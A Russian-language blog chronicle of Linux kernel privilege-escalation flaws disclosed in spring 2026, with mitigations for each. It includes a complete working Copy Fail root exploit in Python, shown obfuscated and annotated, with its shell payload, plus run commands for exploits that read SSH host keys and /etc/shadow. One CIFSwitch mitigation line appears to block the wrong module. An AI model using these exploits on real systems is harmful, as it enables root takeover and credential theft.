Хроники апокалипсиса: Copy Fail,Dirty Frag, Fragnesia и другие

Весна 2026 года надолго запомнится как специалистам по компьютерной безопасности так и простым сисадминам, поскольку именно тогда прошла волна эпических уязвимостей в ядре Linux, затронувшая практически все работающие системы на планете.

При этом исследователи, обнаружившие все эти страшные дыры почему-то не заморачивались вопросами whitehat-этики, сразу же выдав широким массам действующие боевые эксплоиты. Для каждой отдельной уязвимости.

Автора эта волна тоже накрыла, заставив в авральном режиме патчить и обновлять хозяйские сервера и рабочие станции вместо майских праздников.

Восстанавливаю хронологию событий.

Старикам тут не место

Конечно же уязвимости в ПО были всегда. Разного масштаба, сложности и убойности — раз за разом они находились в любом софте, вне зависимости от крутости его создателей и приложенных усилий по защите. Ну а эксплуатация найденного «заинтересованными лицами» временами приводила к действительно серьезным последствиям.

Но было и общее понимание всех причастных, что «уязвимости в ПО это сложно»:

сложно найти такую дыру, сложно добиться повторяемости, сложно эксплуатировать.

Когда-то считалось, что все связанное с эксплоитами, эскалацией привилегий и удаленным доступом — не для детей для серьезных профессионалов, которые понимают что творят делают и несут ответственность за последствия.

В качестве примера такой ответственности исходный код эксплоитов, попадавших в публичный доступ раньше специально «минировался»:

вставлялась заглушка, не позволяющая запуск «из коробки» и требующая навыков программирования (пусть и минимальных) чтобы ее убрать.

Чем получалось довольно эффективно отгонять от опасного софта всяких «script kiddies» — малолетних недоучек, от чьих безответственных действий происходили основные разрушения.

Ну и само собой разумеется, что PoC (Proof of Concept) — программная демонстрация уязвимости никогда не содержал ничего опаснее запуска калькулятора или приветственного сообщения.

Однако весной 2026 года каждый подросток, страдающий от спермотоксикоза неразделенной любви и имеющий доступ к компьютеру с интернетом получил уникальную возможность «зашатать насмерть» практически любой компьютер с Linux на планете:

Несмотря на пристальное внимание автора к компьютерной безопасности и определенные навыки, столь мощная волна уязвимостей и (что важнее) реакция других специалистов оказалась полной неожиданностью.

29 апреля: раскрытие Copy Fail

Вот этот крохотный код на Python, будучи запущенным на любом Linux — любом ядре и дистрибутиве, выпущенном после 2017 года на момент написания статьи безошибочно выдавал права суперпользователя:

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

На момент обнаружения уязвимости и первых тестов, все рабочие машины автора и большая часть серверов заказчиков, которые только успели проверить оказались уязвимыми:

Предоставленный PoC — на самом деле настоящий боевой эксплоит стабильно отрабатывал везде, наплевав на все различия в дистрибутивах, версиях ядер и системных библиотек:

29 апреля уязвимость была обнародована, 30го обнаружена автором и как только он перестал вырывать последние волосы из разных интересных мест — мы немедленно начали проверять инфраструктуру.

Так что майские праздники как-то сразу не задались.

Временное решение

Хотя официальное исправление давно попало в основную ветку ядра (mainline), далеко не факт, что оно успело добраться до ментейнеров вашего дистрибутива, а обновление — до вашей системы:

Повторюсь:

на 30 апреля 2026 года публичный PoC, выложенный в репозитории Github спокойно отрабатывал как на Ubuntu/Debian, так и на RHEL/Rocky, причем как на текущих так и на LTS-версиях, со всеми возможными обновлениями.

С учетом масштаба проблемы, точно стоит проверить ваши собственные серверы с Linux на данную уязвимость, что советую сделать администраторам и всем и причастным.

Если в вашей системе модуль algif_aead не был собран как часть ядра (builtin) и является выгружаемым, достаточно вызвать:

rmmod algif_aead 

Затем отключить загрузку уязвимого модуля:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf

Тут стоит пояснить важное отличие более известной директивы blacklist от install с указанием /bin/false в качестве аргумента.

В отличие от blacklist, запрещающего автоматическую загрузку, install указывает на использование внешней команды для загрузки модуля:

install modulename command
           This command instructs modprobe to run your command instead of
           inserting the module in the kernel as normal.

Указав в качестве такой команды /bin/false получим невозможность загрузить проблемный модуль даже вручную, с помощью modprobe. Что безусловно важно для подобных сценариев.

Если же модуль algif_aead был собран без возможности выгрузки, остается только заблокировать на уровне systemd использование уязвимого типа сокета.

Создаем /etc/systemd/system/service.d/afalg-block.conf с таким содержимым:

[Service] 
RestrictAddressFamilies=~AF_ALG

Кстати AF_ALG это именно тип сокета, другие варианты значений для этого ключа выглядят так:

Предваряя очевидный вопрос читателей, стоит сразу пояснить, что описанные выше шаги по устранению в общем случае безопасны, поскольку уязвимость находится в специфичном модуле, не имеющем широкого применения.

В крайнем случае, вот тут находится патч ядра, закрывающий данную уязвимость, который можно перенести вручную в вашу сборку.

Теперь стоит рассказать как же так получилось.

Разбор уязвимости

Вот тут находится довольно объемный официальный разбор логики работы этой уязвимости от оригинальных авторов, но к сожалению ввиду эпичности проблемы открываются все новые варианты использования, поэтому хотя разбор все еще актуален — описывает он далеко не все.

Оригинальный код PoC немного обфусцирован ради уменьшения размеров и не содержит комментариев, поэтому привожу ниже его развернутую версию с переводом:

#!/usr/bin/env python3
import os as os_module
import socket as socket_module
import zlib
# Обертка над функцией конвертации HEX-строки в массив байт
def hex_to_bytes(hex_string):
    return bytes.fromhex(hex_string)

# Перезаписать 4-байтовую последовательность chunk (patch_bytes) 
# по смещению (chunk_offset) 
# в дескрипторе (target_fd)
# с помощью AEAD-сокета для записи в целевой файл
def patch_chunk(target_fd, chunk_offset, patch_bytes):
    # Cоздание сокета с указанием типа AEAD 
    # (Authenticated Encryption with Associated Data)
    crypto_socket = socket_module.socket(38, 5, 0)
    # Вызов метода bind (аналог прослушивания для обычных сокетов)
    # с указанием алгоритма: AES-CBC с HMAC-SHA256
    crypto_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    # 279 это числовая константа SOL_ALG 
    # define SOL_ALG 279
    sol_alg = 279
    set_socket_option = crypto_socket.setsockopt
    # Установка ключа шифрования (16-байтовый AES, заполненный нулями)
    set_socket_option(sol_alg, 1, hex_to_bytes("0800010000000010" + "0" * 64))
    # Установить размер буфера для данных авторизации
    # 5 это константа ALG_SET_AEAD_AUTHSIZE 
    set_socket_option(sol_alg, 5, None, 4)
    # Вызов метода accept() как для обычных сокетов
    # для получения дескриптора
    crypto_connection, _ = crypto_socket.accept()
    #  Вычисление смещения для записи в целевой файл
    write_offset = chunk_offset + 4
    # нулевой байт используется для разделения полей
    # управляющего сообщения
    null_byte = hex_to_bytes("00")
    # Отправка блока данных с управляющими сообщениями (IV, seq number, op)
    crypto_connection.sendmsg(
        [b"A" * 4 + patch_bytes],  # 4-байта заголовок + 4-байта данные
        [
            (sol_alg, 3, null_byte * 4),  # IV (нули, 4 байта)
            (sol_alg, 2, b"\x10" + null_byte * 19),  # номер последовательности / шум
            (sol_alg, 4, b"\x08" + null_byte * 3),  # дополнительные флаги
        ],
        32768,  # флаг MSG_SPLICE_PAGES для передачи данных 
                #с помощью функции splice напрямую в сокет
    )
    # Создание пайпа для передачи данных из AEAD-сокета в целевой файл
    pipe_read_fd, pipe_write_fd = os_module.pipe()
    splice_data = os_module.splice
    # Копирование данных в конец пайпа
    splice_data(target_fd, pipe_write_fd, write_offset, offset_src=0)
    # Копирование (Splice) из пайпа в дескриптор AEAD-сокета (перезапись целевого файла)
    splice_data(pipe_read_fd, crypto_connection.fileno(), write_offset)
    try:
        # Чтение ответа из AEAD-сокета
        crypto_connection.recv(8 + chunk_offset)
    except Exception:
        pass
        
# Открытие целевого файла для операций чтения/записи 
# 0 это константа O_RDONLY, для записи используется вызов splice выше)
target_fd = os_module.open("/usr/bin/su", 0)
chunk_offset = 0
# распаковка пейлоада (см ниже): последовательность 4-байтовых блоков
# для перезаписи целевого файла
payload_bytes = zlib.decompress(
    hex_to_bytes(
        "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
    )
)
#  Проход циклом по распакованному пейлоаду, 
#  обработка 4-байтовой последовательности за раз 
while chunk_offset < len(payload_bytes):
    patch_chunk(target_fd, chunk_offset, payload_bytes[chunk_offset : chunk_offset + 4])
    chunk_offset += 4
# Запуск пропатченного целевого файла su
os_module.system("su")

Код выше, как можно заметить, содержит в себе т. н. «payload» — длинную закодированную строку, с исполняемым приложением внутри.

Этот payload на самом деле очень простая заглушка и все что она делает — вызывает шелл по-умолчанию с правами суперпользователя.

Восстановленный код payload на ассемблере выглядит следующим образом:

xor eax, eax
xor edi, edi
mov al, 0x69        ; syscall 105 = setuid
syscall             ; setuid(0)

lea rdi, [rip+0xf]  ; pointer to "/bin/sh"
xor esi, esi        ; argv = NULL
push 0x3b
pop rax             ; syscall 59 = execve
cdq                 ; rdx = 0, envp = NULL
syscall             ; execve("/bin/sh", NULL, NULL)

xor edi, edi
push 0x3c
pop rax             ; syscall 60 = exit
syscall

Все что тут происходит это последовательный вызов трех системных функций (syscall) для запуска шелла с привилегиями суперпользователя.

Ниже версия на С, для большей наглядности:

int main(void) {
    setuid(0);
    execve("/bin/sh", NULL, NULL);
    _exit(0);
}

К сожалению, история с «Copy Fail» оказалась лишь началом длинной волны уязвимостей, которые в итоге серьезно повлияли на оценку рисков в ИТ-отрасли и дальнейшее развитие индустрии кибербезопасности.

Что такое LPE

Прежде чем описывать дальше хронику «весеннего апокалипсиса», стоит пояснить простым обывателям, что такое этот самый «Local privilege escalation» (LPE) и почему с подобных уязвимостей пердаки полыхают седеют волосы у всех более-менее опытных ИБ-специалистов.

С одной стороны это мнение технически обосновано, поскольку LPE куда менее разрушительно, чем например Remote code execution (RCE) — примерно как удар ножом по сравнению с выстрелом из дробовика в упор.

С другой..  с другой стороны вам стоит знать, что «в чистом виде» никакие уязвимости в дикой природе не встречаются и при реальной атаке на вашу драгоценную инфраструктуру будет использована комбинация из кучи разных техник и векторов атак. Не обязательно только технических.

А в нынешних непростых реалиях, все это действо будет происходить еще и при активном участии ИИ.

Ниже несколько характерных примеров.

Веб-разработчик

Допустим, вы простой веб-разработчик, ничего не знающий о сетях и компьютерах дальше родных Angular и React, за которые вам и платят миску риса сказочную зарплату.

Каждый день для выполнения рабочих задач вы запускаете что-то вроде:

npm install

При установке большинства NPM-пакетов происходит выполнение кода с правами текущего пользователя, что является нормой для всех современных пакетных менеджеров.

В случае компроментации пакета (что уже случалось неоднократно), в код установки будет внедрен зловред, реализующий эскалацию привилегий через LPE-уязвимость, что позволит намертво закрепиться в вашей системе.

Или например все там удалить.

DevOps

Допустим, вы простой сельский DevOps, занятый обслуживанием серверов, на которых происходят пересборки корпоративных проектов.

Во время сборки проекта, CI-сервер запускает процессы на сервере с привилегиями локального пользователя и если в основной скрипт сборки или обслуживающие (вроде хуков git) попадет зловред, эксплуатирующий LPE-уязвимость — сервер очень быстро перестанет быть вашей собственностью.

И начнет например майнить крипту, но только к сожалению уже не для вас.

Кстати CI-сервер является в настоящее время чуть ли не самой интересной точкой атаки для хакеров, о чем я уже неоднократно рассказывал.

DBA

Допустим, вы простой DBA и администрируете корпоративные серверы с Oracle или PostgreSQL.

Большинство популярных СУБД позволяют выполнение кода на сервере, о чем знают далеко не все администраторы.

Если код зловреда, эксплуатирующий LPE-уязвимость каким-то образом попадет на сервер и там выполнится — можно будет попрощаться с данными компании, а затем (скорее всего) и с работой.

Думаю этих примеров хватит для осознания глубины проблемы и возможных рисков, так что возвращаемся обратно к «хроникам апокалипсиса».

7 мая: раскрытие "Dirty Frag"

Едва отойдя от иприта истории с «Copy Fail» и закончив патчить и обновлять все вверенные сервера и рабочие станции, мы обнаружили в публичном доступе новый PoC для новой критической LPE-уязвимости в ядре Linux:

Dirty Frag is a vulnerability (class) that achieves root privileges on most Linux distributions by chaining the xfrm-ESP Page-Cache Write vulnerability and the RxRPC Page-Cache Write vulnerability.

Как и в случае с «Copy Fail», исследователи, обнаружившие эту уязвимость не заморачивались этикой и вывалили в публичный доступ фактически боевой эксплоит под видом PoC. Причем до официальных исправлений даже в mainline ядра. Хотя на этот раз вроде как по ошибке.

Так выглядело пробитие с последующим получением root-привилегий на одной из рабочих машин автора, на момент написания статьи:

Шаги запуска PoC для проверки:

git clone https://github.com/V4bel/dirtyfrag.git 
cd dirtyfrag 
gcc -O0 -Wall -o exp exp.c -lutil && ./exp

Если ядро вашей системы уязвимо и PoC отработает — получите root-доступ, в этом случае стоит сбросить отравленный кеш, который эксплуатирует уязвимость:

echo 3 > /proc/sys/vm/drop_caches

Так выглядел таймлайн этой уязвимости, обратите внимание на очень короткие сроки между первым отчетом в трекер Ubuntu, публичным раскрытием и финальным патчем в mainline ядра:

Подробный разбор уязвимости находится тут, из интересного — комбинирование двух раннее известных уязвимостей ядра: xfrm-ESP Page-Cache Write и RxRPC Page-Cache Write.

Исходный код публичного PoC, эксплуатирующего уязвимость «Dirty Frag» оказался довольно объемным (почти 2к строк) и судя по виду основная его часть создана с помощью ИИ внутри находятся два разных эксплоита, которые по отдельности можно изучить тут.

Сложно сказать чем руководствовался человек, создавший ремикс из двух убойных 0-day эксплоитов, а затем выложивший полученный результат в публичный доступ под видом невинного PoC, но это была точно не любовь к людям и обществу.

По итогам, в шаловливые ручки всем желающим, страждущим и заинтересованным попало настоящее кибер-оружие, причем совершенно бесплатно:

Because it is a deterministic logic bug that does not depend on a timing window, no race condition is required, the kernel does not panic when the exploit fails, and the success rate is very high.

На момент написания статьи, большая часть наших рабочих станций и серверов оказалась уязвимой, что вновь потребовало внесения патчей, либо отключения уязвимых модулей.

Разумеется в авральном режиме, в праздничные дни и с остановкой работ — все как мы любим (нет).

Временное решение

Скорее всего на момент публикации страсти улягутся официальные исправления доедут таки во все основные дистрибутивы и вам будет достаточно обновить систему стандартным способом.

В качестве временной меры (если нет возможности перезагрузить сервер) можно выгрузить уязвимые модули ядра:

rmmod esp4 esp6 rxrpc

Затем заблокировать их последующую загрузку:

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; true"

Ну и самым сложным вариантом является ручной перенос этого патча ядра, закрывающего уязвимость в вашу версию.

В процессе исправления инфраструктуры, попутно изучая материалы по «Copy Fail» и «Dirty Frag», мы уже догадывались, что поток LPE-уязвимостей теперь будет только расти, но все же надеялись на лучшее.

13 мая: раскрытие "Fragnesia"

К сожалению «лучшее» или даже «хорошее» так и не пришло, поскольку всего через неделю после «Dirty Frag» в публичный доступ уже буднично выложили боевой PoC для новой эпической LPE-уязвимости:

Fragnesia (CVE-2026-46300) is a universal Linux local privilege escalation exploit, discovered with V12 by William Bowling with the V12 team.

И все повторилось:

Как сообщают исследователи, обнаружившие уязвимость:

All versions affected by dirtyfrag are affected.

Что не может не радовать, поскольку вышедший неделей ранее «Dirty Frag» пробивал практически все компьютеры с Linux.

Шаги для проверки:

git clone https://github.com/v12-security/pocs.git 
cd pocs/fragnesia 
gcc -o exp fragnesia.c && ./exp

Если PoC отработает, точно также как и c «Dirty Frag» будет необходимо сбросить «отравленный кеш»:

echo 1 | tee /proc/sys/vm/drop_caches

Работу эксплоита для «Fragnesia» в динамике можно увидеть на стартовой картинке к статье, так выглядит финальный результат в виде полученного шелла с root-привилегиями:

Как и в случае с «Copy Fail», исследователям из команды V12 обнаружить эту страшную дыру активно помогал ИИ, поэтому исходный код PoC весьма витиеватый и вычурный объемный и сложный.

Временное решение

Поскольку уязвимость очень похожа на «Dirty Frag», метод временного решения полностью аналогичен, для начала выгружаем проблемные модули:

rmmod esp4 esp6 rxrpc

Затем блокируем дальнейшее их использование:

printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf

Патч ядра с исправлением находится тут, на момент публикации статьи он должен был появиться в mainline, но мог не успеть добраться до всех ментейнеров дистрибутивов, а следовательно и до вашей системы.

14 Мая, раскрытие ssh-keysign-pwn

Не успев даже выдохнуть после «Fragnesia», буквально на следующий день весь мир вместе с автором узрел новую эпическую дыру в ядре Linux:

Steal SSH host private keys and /etc/shadow via the ptrace_may_access mm-NULL bypass + pidfd_getfd. Pre-31e62c2ebbfd kernels.

Конечно же с боевым и действующим эксплоитом, выложенным для широкой аудитории под видом PoC.

И хоть конечно я безумно рад и счастлив, что исправление для этой дыры делал лично Линус Торвальдс, но вот столь интересное и заманчивое предложение по исправлению.. слегка поразило:

Exploiting the vulnerability doesn’t require to load any specific modules like the bugs from the last weeks, this one needs to be fixed by rebooting the system into an updated kernel.

Старые шутки из мира Windows про «попробуйте перезагрузить» больше не кажутся смешными, раз подобное теперь предлагают разработчики ядра Linux.

Так выглядит этот «PoC» в действии:

Для проверки:

git clone https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn.git
cd ssh-keysign-pwn
make
./sshkeysign_pwn          # покажет ssh-ключи сервера
./chage_pwn root          # покажет содержимое /etc/shadow 

Повторюсь:

никакого временного решения нет, либо вручную переносите патч Торвальдса и пересобирайте ядро, либо ждите обновлений от ментейнеров вашего дистрибутива.

Но это был еще далеко не конец.

17 Мая, раскрытие DirtyDecrypt / DirtyCBC

Три дня спустя праздник LPE-апокалипсис продолжился — в паблик выложили информацию о новой уязвимости:

DirtyDecrypt, also known as DirtyCBC, is a variant of CopyFail / DirtyFrag / Fragnesia. We found and reported this on May 9, 2026, but was informed it was a duplicate by the maintainers. We're releasing it now since it's patched on mainline.

Тут находится детальный разбор уязвимости и конечно немедленно стал публично доступен рабочий эксплоит, снова под видом невинного PoC.

Но весь ужас ситуации в другом:

найденная уязвимость была сразу помечена ментейнерами ядра Linux как дубликат и подразумевалось, что исправление для нее в mainline уже есть.

Поэтому 17 мая исследователи из V12, нашедшие эту уязвимость совершенно без задней мысли выдали заинтересованной публике PoC, который внезапно.. зажил своей жизнью:

Да, эта уязвимость уже не так универсальна и требует определенных условий для выполнения:

successful exploitation requires running a Linux kernel with the CONFIG_RXGK configuration option, which enables RxGK security support for the Andrew File System (AFS) client and network transport.

Поэтому в частности PoC не отработал на наших серверах и рабочих станциях.

Но даже с такими ограничениями, исследователям удалось пробить популярные и известные Fedora, Arch и openSUSE.

Шаги для проверки:

git clone https://github.com/v12-security/pocs.git
cd pocs/dirtydecrypt
gcc poc.c -o poc
./poc

Если PoC все же отработает, не забудьте сбросить кеш:

echo 3 > /proc/sys/vm/drop_caches

Временное решение

В качестве временного решения используются те же самые шаги, что и для «Dirty Frag»/«Fragnesia»:

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtydecrypt.conf"
rmmod esp4 esp6 rxrpc 2>/dev/null

Т.е. все то же отключение уязвимых модулей ядра.

20 мая, раскрытие "GRO Frag"

Еще через три дня прилетели инопланетяне и всех поработи.. конечно же нет (не дождетесь), просто буднично выложили описание + эксплоит новой LPE-уязвимости в ядре Linux:

gro_frag.c — LPE via GRO managed-frag UAF (io_uring SEND_ZC + veth)

Да, на этот раз в виде голого безымянного gist в Github, не успев даже завести CVE с номером — полное попрание всех устоев индустрии!

При этом выложенный PoC очень даже работает:

CVE на эту уязвимость на момент создания статьи все так же нет, зато публичный эксплоит отлично работает:

И что спрашивается со всем этим делать простому администратору?

Временное решение

Слава богу что временное решение для данной уязвимости хотя-бы существует и заключается в выставлении параметра ядра:

sysctl kernel.io_uring_disabled=1

Данный параметр полностью отключает функционал подсистемы io_uring, проблема лишь в том что данный функционал широко используется в высоконагруженных системах:

io_uring is a Linux kernel system call interface for storage device asynchronous I/O operations. It addresses performance issues with similar interfaces provided by functions like read()/write() or aio_read()/aio_write() for operations on data accessed by file descriptors.

Так что вся ситуация опять сводится к известной шутке про «два стула». Решение какой из стульев выбрать оставляю за вами, дорогой читатель.

Патч ядра для закрытия этой уязвимости находится тут, если вдруг захотите перенести вручную.

30 мая, раскрытие CIFSwitch

Известная цитата из третьего «Крестного Отца» отлично описывает настроения всех ИБ-специалистов под конец мая. Видимо чтобы добить всех окончательно, в качестве контрольного выстрела была обнародована еще одна LPE-уязвимость в ядре:

CIFSwitch (CVE-2026-46243) is a distro-specific Linux LPE found by harnessing LLMs into better multihop knowledge composition

Не представляю насколько сильно надо ненавидеть коллег по отрасли, чтобы выкладывать подобную информацию в выходной день (30 мая была суббота), но получилось именно так.

Снова обнаружение с помощью ИИ и снова заряженный боевой эксплоит, выданный широким массам ради лулзов под видом PoC.

А еще с этой уязвимостью проявился новый и крайне неприятный для «стороны защиты» нюанс:

Вот и читай после такого документацию, ага.

В качестве примера, ниже скриншот с Mageia Linux, которая никак не фигурирует в списках уязвимых систем и конфигураций:

Нет, это тоже еще не все лулзы (увы), поскольку теперь стоит рассказать о «временном решении» для CIFSSwitch, поскольку патч ядра скорее всего не успел доехать до вашего дистрибутива.

Временное решение

Согласно рекомендации исследователей, ответственных за этот беспредел нашедших эту интересную уязвимость, шаги для временного исправления выглядят следующим образом.

Выгружаем модуль cifs и блокируем его последующую загрузку:

rmmod cifs
echo install rxrpc /bin/false > /etc/modprobe.d/cifsswitch.conf

Удаляем из системы уязвимый пакет cifs-utils (он везде называется одинаково).

Блокируем правило по-умолчанию, для запроса ключей Kerberos:

cat >/etc/request-key.d/cifs.spnego.conf <<'EOF'
create cifs.spnego * * /usr/sbin/keyctl negate %k 30 %S
EOF

По идее этого должно хватить, чтобы ваш драгоценный сервер не взломали злые хакеры в ожидании официальных патчей.

Но только есть нюанс:

модуль CIFS в ядре отвечает за работу с удаленными дисковыми томами по протоколу SMB, а «опциональный» Kerberos активно используется при авторизации в домене Microsoft Windows.

Так что рекомендации выше приведут к невозможности использовать те самые «вендовые шары» с Linux или работать с Windows-доменом.

Что для некоторых сфер применения Linux-серверов звучит примерно как «отпилите себе левую руку в качестве временного решения».

Эпилог

Несмотря на то что критические уязвимости и серьезные утечки случались и ранее, столь мощной волны дичи критических проблем в настолько фундаментальном проекте как ядро Linux не было никогда.

По моим наблюдениям, события весны 2026 года однозначно негативно повлияли на всю индустрию информационной безопасности, серьезно подорвав как авторитет ИБ-специалистов, так и доверие к информационным системам вообще.

Когда раз за разом в течение одного месяца, с разницей всего в пару дней в публичный доступ выкладывают практически 0-day эксплоиты, причем с мотивацией уровня «гы-лол-азаза» — становится невероятно сложно обосновывать необходимость остановки серверов и проверки инфраструктуры.

Я специально сделал эту статью в виде хроники с указанием дат раскрытия, чтобы дать читателям понимание важного факта:

при такой скорости вываливания на публику информации о серьезных уязвимостях, никому не получится угнаться за этим процессом и обновлять все свои системы вовремя.

Что к сожалению уже подтверждается практикой, поскольку очень мало кто из моих коллег также «держит руку на пульсе» этих событий и тем более имеет желание и возможности регулярного обновления своих серверов.